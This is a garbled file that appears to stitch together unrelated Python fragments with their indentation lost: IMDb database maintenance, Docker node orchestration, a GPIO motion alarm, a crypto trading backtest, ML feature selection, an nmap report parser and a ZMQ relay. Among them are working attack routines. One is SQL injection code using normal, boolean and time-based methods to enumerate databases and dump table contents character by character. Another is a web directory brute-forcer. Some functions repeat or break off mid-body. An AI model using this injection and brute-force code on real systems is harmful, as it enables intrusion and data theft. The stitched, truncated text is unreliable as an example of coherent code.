def get_content_count(self, database_name, table_name):
# 开始注内容
logger.debug("Start sqli table %s content amount..." % table_name)
logger.debug("The sqlirequest is %s, start sqli content..." % self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." % table_name)
# 注数据的数量
content_count = normal_injection(select="count(*)",
source=database_name + "." + table_name,
dealpayload=self.dealpayload,
data=self.Data, isCount=True, sqlirequest=self.sqlirequest
)
logger.debug("Content account sqli success...The count is %d..." % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." % table_name)
retVal = build_injection(select="count(*)",
source=database_name + "." + table_name,
dealpayload=self.dealpayload, data=self.Data, lens=self.len,
isCount=True, sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug("Content account sqli success...The content_count is %d..." % content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start table's %s content amount sqli..." % table_name)
retVal = time_injection(select="count(*)",
source=database_name + "." + table_name,
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isCount=True, sqlirequest=self.sqlirequest)
content_count = int(retVal)
logger.debug("Content account sqli success...The content_count is %d..." % content_count)
logger.info("[*] content_count: %d" % content_count)
# 把content account return回去
logger.info("[*] content count: %d" % content_count)
return content_count
def export2lmdb(self, lmdb_host, lmdb_dbname):
""" 匯出IMDB資料庫的資料到LMDB
:param lmdb_host:
:param lmdb_dbname:
:return:
"""
logger.info('export to lmdb')
since = 0
i = 0
while True:
movies = self.DbOperator.get_movies_to_export_lmdb(since, limit=self.DbOperator.LIMIT)
if movies:
for movie in movies:
movieid = movie[0]
imdbid = 'tt%07d' % int(movie[1])
i += 1
try:
imdbmovie = self.IMDbObj.get_movie(imdbid, movieid)
imdbmovie.save2db(lmdb_host, lmdb_dbname)
logger.info(
'%d, %s, %s, %s, %s' % (i, movieid, imdbid, imdbmovie['url'], imdbmovie['posterurl'])
)
except Exception as e:
logger.error('save db error: %s \r\n %s' % (imdbid, str(e)))
since += self.DbOperator.LIMIT
else:
break
def bootstrap(self):
self.update_nodes()
_updated = False
for name, node in self.nodes.items():
try: node.connect()
except: pass
if not node.exists or not node.name:
L.info("Node not found, creating a new node")
self.create_node(name, self.cfg)
# Unset it so we really refresh it
_updated = True
node.cleanup_dead()
L.ok("Node %s alive and ready!"%name)
if _updated: self.update_nodes()
played = []
for s in self.base_services:
played += self.play_service(self.nodes, s)
if played:
L.ok("Base services setup, cooling down while everything starts...")
time.sleep(30)
for s in self.dj_services + self.user_services:
self.play_service(self.nodes, s)
L.ok("Node setup OK!")
return True
def kill_containers(context):
cfg = context.obj
for manager in cfg['managers']:
mgr = cfg['project'].manager_for(manager)
for name, node in mgr.nodes.items():
L.info('Stopping %d containers on node %s'%(len(node.containers),
name))
node.stop_container()
def download_listfile(self):
""" 下載IMDB的資料庫文字檔，http://www.imdb.com/interfaces
:return:
"""
logger.info('download listfile')
self.Downloader.download()
logger.info('download listfile is success!')
def kill_services(context):
cfg = context.obj
for manager in cfg['managers']:
mgr = cfg['project'].manager_for(manager)
for s_name in mgr.user_services:
for name, node in mgr.nodes.items():
containers = node.running_services.get(s_name, [])
L.info('Stopping %d containers running %s on node %s'%
(len(containers), s_name, name))
for container in containers:
node.stop_container(id=container)
def setDetection(new):
if re.search("true", str(new)):
status = True
logger.info("DETECTION!")
elif re.search("false", str(new)):
status = False
logger.info("DETECTION!")
else:
logger.warn("Invalid status %s for DETECTION" %(new))
return
global DETECTION
DETECTION = status
def play_service(self, nodes, name):
service = self.services[name]
schedules = service.schedule(nodes)
if len(schedules):
L.info("Starting service %s %s times on %d nodes"%(
name, len(schedules), len(nodes)))
for node, schedule in schedules:
self.play_by_schedule(node, schedule)
L.ok("Service %s started OK"%name)
else:
L.ok("Service %s was running OK"%name)
return schedules
def setActive(new):
#if(newStatus is False or newStatus is "False" or newStatus is "false" or newStatus is 0 or newStatus is "0"):
if re.search("false", str(new)):
status = False
logger.info("Alarm deactivated")
#elif(newStatus is True or newStatus is "True" or newStatus is "true" or newStatus is 1 or newStatus is "1"):
elif re.search("true", str(new)):
status = True
logger.info("Alarm activated")
else:
logger.warn("Invalid status %s" %(new))
return
global active
active = status
def dir_bruter(word_queue, target_url, stime, extensions=None, pbar=None):
while not word_queue.empty():
pbar.update(1)
attempt = word_queue.get()
attempt_list = []
# 检查是否有文件扩展名，如果没有就是我们要暴力破解的路径
# if "." not in attempt:
# attempt_list.append("%s/" % attempt)
# else:
attempt_list.append("%s" % attempt)
# 如果我们想暴力扩展
if extensions:
for extension in extensions:
if extension == ".swp":
attempt_list.append("/.%s%s" % (attempt.strip('/'), extension))
else:
attempt_list.append("%s%s" % (attempt, extension))
# 迭代我们想要尝试的文件列表
for brute in attempt_list:
url = "%s%s" % (target_url, urllib.quote(brute))
# print url
try:
headers = {}
headers["User-Agent"] = conf['ua']
r = urllib2.Request(url, headers=headers)
# pbar.update(1)
try:
response = urllib2.urlopen(r, timeout=2)
except:
logger.error("Time out...")
continue # 有可能卡死
# 请求完成后睡眠
time.sleep(stime)
if response.code != 404:
logger.info("Get !!!!" + url)
tqdm.write("[%d] => %s" % (response.code, url))
except urllib2.URLError, e:
if hasattr(e, 'code') and e.code != 404:
tqdm.write("!!! %d => %s" % (e.code, url))
def backup(self, dbname):
logger.info('backup db')
self.backupdb(dbname)
logger.info('backup db is success!')
logger.info('test backup db file')
sys.stdout.flush()
self.test_backupfile(dbname)
logger.info('test backupfile is success!')
self.move_backupfile(dbname)
def serv_forever(sub_p, pub_p):
context = zmq.Context()
pub_s = context.socket(zmq.PUB)
pub_s.bind('tcp://*:{PUB_PORT}'.format(PUB_PORT=pub_p))
sub_s = context.socket(zmq.SUB)
sub_s.setsockopt(zmq.SUBSCRIBE, '')
sub_s.bind('tcp://*:{SUB_PORT}'.format(SUB_PORT=sub_p))
poller.register(sub_s, zmq.POLLIN)
socks = dict(poller.poll(360000))
while 1:
if socks:
for sock, event in socks.iteritems():
if sock is sub_s:
frame = sub_s.recv_multipart()
logger.info('MESSAGE:%s', frame)
pub_s.send_multipart(frame)
def create_node(self, name, cfg=None, options=None):
if not cfg: cfg = {}
if not options: options = {}
else: cfg.update(options)
options['provider'] = cfg.get('provider', {'name': 'local'})
iaas = options['provider'].get('driver', 'virtualbox')
services = options['services'] = options.get('services', [])
L.info("Creating new machine %s on %s"%(name, iaas))
swarm = cfg.get('swarm-token', '')
extra = ' '.join(options['provider'].get('extra', []))
if not len(self.running_nodes):
swarm_extra = ' --swarm --swarm-master --swarm-discovery token://%s'%swarm
else:
swarm_extra = ' --swarm --swarm-discovery token://%s'%swarm
command = "docker-machine create --driver %s %s %s"%(
iaas, extra, name)
output = call(command)
L.ok("Done creating %s on %s!"%(name, iaas))
self.update_nodes()
def run(self, *args, **kwargs):
build = kwargs.pop('build', None)
image = kwargs.get('image', None)
if build:
L.info("Building image %s on node %s"%(image, self.name))
self.call_docker("build %s"%build)
if image:
tagged = ':' in image and image or '%s:latest'%image
if not tagged in self.local_images():
L.info("Can't find image %s, attempting to pull..."%image)
self.call_docker("pull %s"%image)
elif ':' in image and image.endswith('latest'):
L.info("Image %s tagged 'latest', updating..."%image)
try: self.call_docker("pull %s"%image)
except: pass
kwargs['image'] = image
command_line = 'docker %s run %s %s'%(self.node_connect_str,
image, kwargs.get('command','') or '')
L.v("Using docker-py API to create container, you can run this --")
L.v(command_line)
dns = kwargs.pop('dns', None)
dns_search = kwargs.pop('dns_search', None)
privileged = kwargs.pop('privileged', '') == 'ceph' and 'ceph/' in image
container = self.client.create_container(*args, **kwargs)
return self.client.start(container, dns=dns, privileged=privileged), container
def update_movie_imdbid(self):
""" 更新IMDB資料庫電影的IMDBID
如果更新某部電影的IMDBID，出現錯誤連續達到10次，則不繼續嘗試更新IMDBID（可能會是網路等問題）
:return:
"""
logger.info('update imdb_id field')
count = 0
max_try = 10
while True:
movies = self.DbOperator.get_null_imdbid_movies()
if len(movies) == 0:
break
for movie in movies:
try_times = 0
count += 1
try:
logger.info('%s: %s' % (count, self.get_imdbid_result(movie[0])))
except Exception:
try_times += 1
time.sleep(3)
if try_times == max_try:
logger.error(traceback.format_exc())
return
logger.info('import db to table is success!')
def main():
# main
# activate API
if api.lunch():
logger.info("API started")
else:
logger.error("API failed start")
GPIO.setmode(GPIO.BOARD)
pir = 26
GPIO.setup(pir, GPIO.IN)
logger.info("Application started")
while True:
while active.getActive():
if GPIO.input(pir):
time.sleep(1)
if GPIO.input(pir):
active.setDetection("true")
sender.emailAlert()
active.setDetection("false")
time.sleep(0.2)
def _update_imdb_movies(self, getdata_func):
""" 更新imdb電影資訊
利用imdbpy去取得最新的電影資訊，然後更新資料庫
:param getdata_func: 取得要更新的imdb電影
:return:
"""
i = 0
since = 0
while True:
movies = getdata_func(limit=self.DbOperator.LIMIT, since=since)
if movies:
for movie in movies:
imdbid = movie[0]
try:
# 檢查是否正確的imdbid格式
if not re.match('tt\d{7}', imdbid):
raise Exception('not a valid imdbid')
if self.DbOperator.is_error_imdbid_movie(imdbid):
logger.info('error imdbid: %s' % imdbid)
continue
imdbmovie = self.IMDbObj.get_movie(imdbid)
imdbmovie.save2db(self.DbOperator.HOST, self.DbOperator.DB)
i += 1
logger.info(
(i, imdbid, imdbmovie['url'], imdbmovie['rating'], imdbmovie['posterurl']).__str__()
)
except Exception as e:
time.sleep(30)
# 如果imdb網路正常，卻取不到資訊，代表可能是錯誤的imdbid，所以要清除imdbid
if self.IMDbObj.is_network_ok():
self.DbOperator.clear_imdbid(imdbid)
logger.info('clear imdbid: %s' % imdbid)
else:
logger.warning('update imdb fail: %s' % (str(e)))
return
since += self.DbOperator.LIMIT
logger.info('exported count: %d' % i)
else:
break
def import_listfile(self):
""" 將IMDB的資料庫文字檔匯進DB
如果匯入時發生問題，則利用上次的備份檔進行還原
:return:
"""
logger.info('import listfile to db')
try:
self.make_csvdir()
imdbpy2sql_path = os.path.normpath('%s/updateimdb/bin/' % DIR_CRONTAB)
cmd = 'python %s/imdbpy2sql.py -d %s -u %s -c %s -i table' \
% (imdbpy2sql_path, self.Downloader.get_download_dir_path(), self.DbOperator.URI, self.get_csvdir())
subprocess.check_call(cmd, shell=True)
except Exception:
logger.error('error occurred during import listfile to db, try to restore the older db')
self.DbBackup.restoredb(self.DbOperator.DB, '%s/%s.bak' % (self.DbBackup.BACKUPDIR, self.DbOperator.DB))
logger.info('restore success!')
raise
logger.info('import listfile to db is success!')
def play_by_schedule(self, node, schedule):
s = schedule
ip = s['ip']
name = s['node']
role = s.get('role', None)
number = s.get('number', None)
s['leader_ip'] = self.leader_ip
s['container_name'] = container_name = s.get('container_name',
'%(service)s.%(node)s.%(domain)s')%(s)
labels = {'service': s['service']}
labels.update(s.get('labels',{}))
ports = map(str, s.get('ports', []))
dynamic = map(str, s.get('dynamic_ports', []))
expose = []
bind = {}
for p in ports:
if '/' in p:
p, proto = p.split('/')
else: proto = 'tcp'
if ':' in p:
h_p, c_p = map(int, p.split(':'))
else:
h_p = c_p = int(p)
if proto in ['tcp', 'both']:
expose.append(c_p)
bind[c_p] = (node.ip, h_p)
if proto in ['udp', 'both']:
expose.append( (c_p, 'udp') )
bind['%s/udp'%c_p] = (node.ip, h_p)
L.info('Opening static port on %s:%s to %s'%(node.ip, h_p, c_p))
for p in dynamic:
if '/' in p:
p, proto = p.split('/')
else: proto = 'tcp'
c_p = int(p)
if proto in ['tcp', 'both']:
expose.append(c_p)
bind[c_p] = (node.ip, )
if proto in ['udp', 'both']:
expose.append( (c_p, 'udp') )
bind['%s/udp'%c_p] = (node.ip, )
L.info('Opening dynamic port on %s to %s'%(node.ip, c_p))
node.cleanup_dead(name=container_name)
if not node.is_running(name=container_name):
build = s.get('build', None)
image = build and s.get('service', '') or s.get('image', None)
instance = node.run(
name=container_name, hostname=container_name,
image=image, build=build, ports=expose,
command=s.get('command', '')%s,
environment=[e%s for e in s.get('environment', [])],
labels=labels,
host_config = node.client.create_host_config(
binds=s.get('volumes', None),
port_bindings=bind,
dns=[self.leader_ip],
dns_search=[self.cfg.get('domain', None)],
network_mode=s.get('network', None),
)
)
else:
L.debug("Already running %s"%(container_name))
def trading_day(self, day):
session = self.createSession()
for symbol, strat in self.strategies.items():
try:
signal = strat.get_signal(day) #ToDo: Handle exceptions
except Exception as e:
logger.debug("Exception for {} at day {}: {}".format(symbol, day, e))
continue
session.add(signal) # Save signals to db for history
# Get asset
asset = self.exchange.get_or_create_asset(session, symbol)
# Manage open positions
longs = self.exchange.get_open_long(session, asset)
for o in longs:
if o.should_stop(signal.close):
logger.info('[Day: {}] Closing long position {} on {} due to stop loss'.format(day, o.id, o.symbol))
_, log = self.exchange.close_order(day, asset, o, o.stop_loss)
session.add(log)
continue
# If signal is SELL or position has a 1% profit
if signal.signal == SignalType.SELL:
logger.info(
'[Day: {}] Closing long position {} on {} due to SELL signal'.format(day, o.id, o.symbol))
_, log = self.exchange.close_order(day, asset, o, signal.close)
session.add(log)
continue
shorts = self.exchange.get_open_short(session, asset)
for o in shorts:
# If close meets stop loss, close position
if o.should_stop(signal.close):
logger.info(
'[Day: {}] Closing short position {} on {} due to stop loss'.format(day, o.id, o.symbol))
_, log = self.exchange.close_order(day, asset, o, o.stop_loss)
session.add(log)
continue
# If signal is BUY we're going to lose money, so we close position
if signal.signal == SignalType.BUY:
logger.info(
'[Day: {}] Closing short position {} on {} due to BUY signal'.format(day, o.id, o.symbol))
_, log = self.exchange.close_order(day, asset, o, signal.close)
session.add(log)
continue
# If signal is HOLD and position is old
if o.get_age_in_days(day) > 2 and signal == SignalType.HOLD:
logger.info('[Day: {}] Closing short position {} on {} due to age'.format(day, o.id, o.symbol))
_, log = self.exchange.close_order(day, asset, o, signal.close)
session.add(log)
continue
## Open new positions
# Determine position sizing
position_coins = asset.position_size(signal.close, self.order_size)
# Open the order
if signal.signal == SignalType.BUY:
logger.info(
'[Day: {}] Opening long position on {} due to BUY signal [Close {}, Price {}, Coins {}]'.format(
day, symbol, signal.close, position_coins * signal.close, position_coins))
o, log = self.exchange.open_order(day, OrderType.LONG, asset, position_coins, signal.close,
stop_loss=-0.01) # Stop loss is -1%
if not o:
logger.error("LONG FAILED")
else:
session.add(o)
session.add(log)
elif signal.signal == SignalType.SELL:
logger.info(
'[Day: {}] Opening short position on {} due to BUY signal [Close {}, Price {}, Coins {}]'.format(
day, symbol, signal.close, position_coins * signal.close, position_coins))
o, log = self.exchange.open_order(day, OrderType.SHORT, asset, position_coins, signal.close,
stop_loss=0.01) # Stop loss is +1%
if not o:
logger.error("SHORT FAILED")
else:
session.add(o)
session.add(log)
session.add(Equity(
day=day,
symbol=symbol,
equity=asset.equity(signal.close),
longs=asset.long_orders,
shorts=asset.short_orders
))
session.commit()
def build_model(dataset,
pipeline,
experiment,
current_target='class',
test_size=0.3):
models_dir = './results/{}_{}_{}/models/'.format(dataset, pipeline,
experiment)
reports_dir = './results/{}_{}_{}/reports/'.format(dataset, pipeline,
experiment)
experiment_index_file = './results/{}_{}_{}/index.json'.format(
dataset, pipeline, experiment)
log_file = './results/{}_{}_{}/model_build.log'.format(
dataset, pipeline, experiment)
scoring = make_scorer(precision_score, zero_division=1, average='micro')
os.makedirs(models_dir, exist_ok=True)
os.makedirs(reports_dir, exist_ok=True)
# Setup logging
logger.setup(filename=log_file,
filemode='w',
root_level=logging.DEBUG,
log_level=logging.DEBUG,
logger='build_model')
index_name = 'index'
if '.' in dataset:
splits = dataset.split(".")
dataset = splits[0]
index_name = splits[1]
# Load the dataset index
dataset_index = load_dataset(dataset,
return_index=True,
index_name=index_name)
# Dynamically import the pipeline we want to use for building the model
logger.info('Start experiment: {} using {} on {} with target {}'.format(
experiment, pipeline, dataset, current_target))
reports = ReportCollection(dataset, pipeline, experiment)
for _sym, data in {'BTC': dataset_index['BTC']}.items():
try:
logger.info('Start processing: {}'.format(_sym))
features = pd.read_csv(data['csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
targets = pd.read_csv(data['target_csv'],
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
# Drop columns whose values are all NaN, as well as rows with ANY nan value, then
# replace infinity values with nan so that they can later be imputed to a finite value
features = features.dropna(
axis='columns', how='all').dropna().replace([np.inf, -np.inf],
np.nan)
target = targets.loc[features.index][current_target]
#X_train, X_test, y_train, y_test = train_test_split(features, target, shuffle=False, test_size=test_size)
all_size = features.shape[0]
train_size = int(all_size * (1 - test_size))
features = detabularise(
features[[c for c in features.columns if 'close' in c]])
X_train = features.iloc[0:train_size]
y_train = target.iloc[0:train_size]
X_test = features.iloc[train_size:all_size]
y_test = target.iloc[train_size:all_size]
# Summarize distribution
logger.info("Start Grid search")
clf = ShapeletTransformClassifier(time_contract_in_mins=5)
clf.fit(X_train, y_train)
print('{} Score: {}'.format(_sym, clf.score(X_test, y_test)))
pred = clf.predict(X_test)
print(classification_report(y_test, pred))
logger.info("End Grid search")
logger.info("--- {} end ---".format(_sym))
except Exception as e:
logger.error(
"Exception while building model pipeline: {} dataset: {} symbol: {}\nException:\n{}"
.format(pipeline, dataset, _sym, e))
traceback.print_exc()
return reports
def get_database(self):
logger.debug("The sqlirequest is %s, start sqli databases..." % self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start database amount sqli...")
# 先注databases的数量
databases_number = normal_injection(select='COUNT(`SCHEMA_NAME`)',
source='information_schema.SCHEMATA',
dealpayload=self.dealpayload,
data=self.Data, isCount=True, sqlirequest=self.sqlirequest
)
logger.debug("Databases amount sqli success...The databases_number is %d..." % databases_number)
print "[*] databases_number: %d" % databases_number
# 每个循环跑一次databases的数据
for i in trange(int(databases_number), desc="Database sqli...", leave=False, disable=True):
# 首先是database name的长度
logger.debug("Start %dth database length sqli..." % (i + 1))
databases_name_len = normal_injection(select='length(`SCHEMA_NAME`)',
source='information_schema.SCHEMATA',
limit=i,
dealpayload=self.dealpayload,
data=self.Data, isCount=True, sqlirequest=self.sqlirequest
)
logger.debug("%dth Databases name length sqli success...The databases_name_len is %d..." % ((i + 1), databases_name_len))
logger.info("[*] %dth databases_name_len: %d" % ((i + 1), databases_name_len))
# 然后注database name
logger.debug("Start %dth database name sqli..." % (i + 1))
databases_name = normal_injection(select='`SCHEMA_NAME`',
source='information_schema.SCHEMATA', limit=i,
dealpayload=self.dealpayload,
data=self.Data, isStrings=True, sqlirequest=self.sqlirequest
)
logger.debug(
"%dth Databases name sqli success...The databases_name is %s..." % ((i + 1), databases_name))
# 把databases_name 中不是information_schema插入列表
if databases_name != "information_schema":
self.databases_name.append(databases_name)
logger.info("[*] %dth databases_name: %s" % ((i + 1), databases_name))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start database amount sqli...")
retVal = build_injection(select="COUNT(`SCHEMA_NAME`)",
source="information_schema.SCHEMATA",
dealpayload=self.dealpayload, data=self.Data, lens=self.len,
isCount=True, sqlirequest=self.sqlirequest)
databases_number = int(retVal)
logger.debug("Databases amount sqli success...The databases_number is %d..." % databases_number)
logger.info("[*] databases_number: %d" % databases_number)
for i in range(0, int(databases_number)):
logger.debug("Start %dth database length sqli..." % (i + 1))
# 然后注databases_name 的 length
retVal = build_injection(select="length(`SCHEMA_NAME`)",
source="information_schema.SCHEMATA",
limit=i,
dealpayload=self.dealpayload, data=self.Data, lens=self.len,
isCount=True, sqlirequest=self.sqlirequest)
databases_name_len = int(retVal)
logger.debug("%dth Databases name length sqli success...The databases_name_len is %d..." % ((i + 1), databases_name_len))
logger.info("[*] %dth databases_name_len: %d" % ((i + 1), databases_name_len))
# 然后注databases名字
# 清空database_name
databases_name = ""
logger.debug("Start %dth database sqli..." % (i + 1))
for j in trange(int(databases_name_len), desc='%dth Database sqli' % (i + 1), leave=False):
retVal = build_injection(select="ascii(substring(`SCHEMA_NAME`," + repr(j + 1) + ",1))",
source="information_schema.SCHEMATA",
limit=i,
dealpayload=self.dealpayload, data=self.Data, lens=self.len,
isStrings=True, sqlirequest=self.sqlirequest)
databases_name += chr(retVal)
logger.debug(
"%dth Databases name sqli success...The databases_name is %s..." % ((i + 1), databases_name))
# 把databases_name 中不是information_schema插入列表
if databases_name != "information_schema":
self.databases_name.append(databases_name)
logger.info("[*] %dth databases_name: %s" % ((i + 1), databases_name))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
logger.debug("Start database amount sqli...")
retVal = time_injection(select="COUNT(`SCHEMA_NAME`)",
source="information_schema.SCHEMATA",
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isCount=True, sqlirequest=self.sqlirequest)
databases_number = int(retVal)
logger.debug("Databases amount sqli success...The databases_number is %d..." % databases_number)
logger.info("[*] databases_number: %d" % databases_number)
for i in range(0, int(databases_number)):
logger.debug("Start %dth database length sqli..." % (i + 1))
# 然后注databases_name 的 length
retVal = time_injection(select="length(`SCHEMA_NAME`)",
source="information_schema.SCHEMATA",
limit=i,
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isCount=True, sqlirequest=self.sqlirequest)
databases_name_len = int(retVal)
logger.debug("%dth Databases name length sqli success...The databases_name_len is %d..." % ((i + 1), databases_name_len))
logger.info("[*] %dth databases_name_len: %d" % ((i + 1), databases_name_len))
# 然后注databases名字
# 清空databases_name
databases_name = ""
logger.debug("Start %dth database sqli..." % (i + 1))
for j in trange(int(databases_name_len), desc='%dth Database sqli' % (i + 1), leave=False):
retVal = time_injection(select="ascii(substring(`SCHEMA_NAME`," + repr(j + 1) + ",1))",
source="information_schema.SCHEMATA",
limit=i,
dealpayload=self.dealpayload, data=self.Data, times=self.time,
isStrings=True, sqlirequest=self.sqlirequest)
databases_name += chr(retVal)
logger.debug(
"%dth Databases name sqli success...The databases_name is %s..." % ((i + 1), databases_name))
# 把databases_name 中不是information_schema插入列表
if databases_name != "information_schema":
self.databases_name.append(databases_name)
logger.info("[*] %dth databases_name: %s" % ((i + 1), databases_name))
databases_name = ','.join(self.databases_name)
print "[*] databases_name list: " + databases_name
from threading import Thread
from time import sleep
from lib.log import logger
logger.info("Loading library: {0}".format(__name__))
pins = {"1": 10, "2": 9, "3": 11, "4": 22}
OUT = 1
IN = 2
interrupt = None
def setup(gpio_pin, in_out):
pass
def output(gpio_pin, high_low):
for v in pins:
if pins[v] == gpio_pin:
logger.debug("Relay[{0}] is {1}".format(
v, "HIGH" if high_low else "LOW"))
def main():
output(11, True)
output(9, False)
def add_interrupt_callback(gpio_pin, func, **kwargs):
global interrupt
def run(self): # define this function,use for threading, define here or define in child-class both should be OK
self.process()
self.d = self.get_hostnames()
self.e = self.get_emails()
logger.info("{0} found {1} domain(s) and {2} email(s)".format(self.engine_name,len(self.d),len(self.e)))
return self.d, self.e
def main():
result = {}
for _sym in SYMBOLS:
dataset = 'data/result/datasets/csv/{}.csv'.format(_sym)
df = pd.read_csv(dataset,
sep=',',
encoding='utf-8',
index_col='Date',
parse_dates=True)
df = df.replace([np.inf, -np.inf], np.nan).dropna()
X = df[df.columns.difference(['target', 'target_pct', 'target_label'])]
y = df['target']
#print("======"+_sym+"======")
#print(X.info())
# Variance Threshold
sel = VarianceThreshold()
sel.fit_transform(X)
sup = sel.get_support()
X = X[[name for flag, name in zip(sup, X.columns) if flag]]
## SelectKBest
sel = SelectKBest(chi2, k=30)
sX = scale(X, scaler='minmax')
sel.fit_transform(sX, y)
sup = sel.get_support()
sX = sX[[name for flag, name in zip(sup, sX.columns) if flag]]
## Recursive Feature Elimination
# Create the RFE object and compute a cross-validated score.
# The "accuracy" scoring is proportional to the number of correct
# classifications
# model = SVC(kernel="linear")
# rfecv = RFECV(estimator=model, step=1, cv=StratifiedKFold(2), scoring='accuracy', n_jobs=-1, verbose=1)
# rfecv.fit(X, y)
# X = X[[name for flag, name in zip(rfecv.support_, X.columns) if flag]]
### Genetic
# estimator = MLPClassifier(**{
# 'hidden_layer_sizes': (10, 4),
# 'solver': 'lbfgs',
# 'learning_rate': 'constant',
# 'learning_rate_init': 0.001,
# 'activation': 'logistic'
# })
estimator = LogisticRegression(solver="liblinear", multi_class="ovr")
gscv = GeneticSelectionCV(estimator,
cv=2,
verbose=1,
scoring="accuracy",
max_features=30,
n_population=50,
crossover_proba=0.5,
mutation_proba=0.2,
n_generations=80,
crossover_independent_proba=0.5,
mutation_independent_proba=0.05,
tournament_size=3,
n_gen_no_change=10,
caching=True,
n_jobs=-1)
gscv = gscv.fit(X, y)
X = X[[name for flag, name in zip(gscv.support_, X.columns) if flag]]
#print(X.columns)
# print("[%s] Optimal number of features : %d Set: %s" % (_sym, rfecv.n_features_, ', '.join(X.columns)))
# plt.figure()
# plt.title(_sym + ' SVC RFECV K=2')
# plt.xlabel("Number of features selected")
# plt.ylabel("Cross validation score (nb of correct classifications)")
# plt.plot(range(1, len(rfecv.grid_scores_) + 1), rfecv.grid_scores_)
# plt.show()
logger.info("{}: {}".format(_sym, X.columns))
result[_sym] = {
'dataset': dataset,
'columns_genetic_lr_30': [c for c in X.columns],
'columns_kbest_30': [c for c in sX.columns]
}
return result
# open final report file
with open(csv_filename, 'w') as csvwrite:
# set field names
fieldnames = ['IP Address', 'Port/Protocol', 'Domains', 'Operating System', 'OS Version', 'Notes']
writer = csv.DictWriter(csvwrite, fieldnames=fieldnames, dialect=csv.excel, quoting=csv.QUOTE_ALL)
# write CSV header
writer.writeheader()
# iterate through xml(s)
for xml_report in nmap_xml_reports:
try:
# trying to load xml file
nmap_report = NmapParser.parse_fromfile(xml_report)
logger.info("%s host(s) loaded from %s" % (len(nmap_report.hosts), xml_report))
except Exception, e:
logger.warn("XML file %s corrupted or format not recognized" % xml_report)
# keep looking for others xml
continue
# start a cumulative dictionary
results = nmap_combine(nmap_report, results)
#print "results: %s" % len(results)
logger.info("Wraping up results")
for ip_address in results:
# colecting info for each field
open_ports = check_ports(results[ip_address]['Port/Protocol'])
hostnames = list_to_str(results[ip_address]['Domains'])
notes = results[ip_address]['Notes']
pub_s = context.socket(zmq.PUB)
pub_s.bind('tcp://*:{PUB_PORT}'.format(PUB_PORT=pub_p))
sub_s = context.socket(zmq.SUB)
sub_s.setsockopt(zmq.SUBSCRIBE, '')
sub_s.bind('tcp://*:{SUB_PORT}'.format(SUB_PORT=sub_p))
poller.register(sub_s, zmq.POLLIN)
socks = dict(poller.poll(360000))
while 1:
if socks:
for sock, event in socks.iteritems():
if sock is sub_s:
frame = sub_s.recv_multipart()
logger.info('MESSAGE:%s', frame)
pub_s.send_multipart(frame)
if __name__ == '__main__':
sub_p = 9021
pub_p = 9022
opts, argvs = getopt.getopt(sys.argv[1:], "s:p:")
for op, value in opts:
if op == '-s':
sub_p = int(value)
if op == '-p':
pub_p = int(value)
logger.info('starting...')
serv_forever(sub_p, pub_p)
def get_content(self, result, database_name, table_name, column_name,
limits):
# 开始注内容
content_len = 0
logger.debug("Start sqli table %s column %s limit %d content..." %
(table_name, column_name, limits))
# 先GET
if self.sqlirequest == "GET":
logger.debug("The sqlirequest is %s, start sqli content..." %
self.sqlirequest)
if self.sqlimethod == "normal":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 注这一条的数据长度
logger.debug("Start %dth content length sqli..." %
(limits + 1))
content_len = normal_injection(
select="length(" + column_name + ")",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
isCount=True,
sqlirequest=self.sqlirequest)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content
logger.debug("Start %dth content sqli..." % (limits + 1))
content = normal_injection(select=column_name,
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
isStrings=True,
sqlirequest=self.sqlirequest)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "build":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的 length
retVal = build_injection(select="length(" + column_name + ")",
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isCount=True,
sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
logger.info("[*] content_len: %d" % content_len)
# 然后注content名字
# 清空column_name
content = ""
logger.debug("Start %dth content sqli..." % (limits + 1))
for j in trange(int(content_len),
desc='%dth Content sqli' % (limits + 1),
leave=False):
retVal = build_injection(
select="ascii(substring(" + column_name + "," +
repr(j + 1) + ",1))",
source=database_name + "." + table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
lens=self.len,
isStrings=True,
sqlirequest=self.sqlirequest)
content += chr(retVal)
logger.debug("Content sqli success...The content is %s..." %
content)
# 把content return回去，以元组的形式
contents = [column_name, content]
logger.info("[*] content: %s" % content)
result.put(tuple(contents))
elif self.sqlimethod == "time":
logger.debug("The sqlimethod is %s..." % self.sqlimethod)
# 然后注content 的length
retVal = time_injection(select="length(" + column_name + ")",
source=database_name + "." +
table_name,
limit=limits,
dealpayload=self.dealpayload,
data=self.Data,
times=self.time,
isCount=True,
sqlirequest=self.sqlirequest)
content_len = int(retVal)
logger.debug(
"Content length sqli success...now is limit %d, The content_len is %d..."
% (limits, content_len))
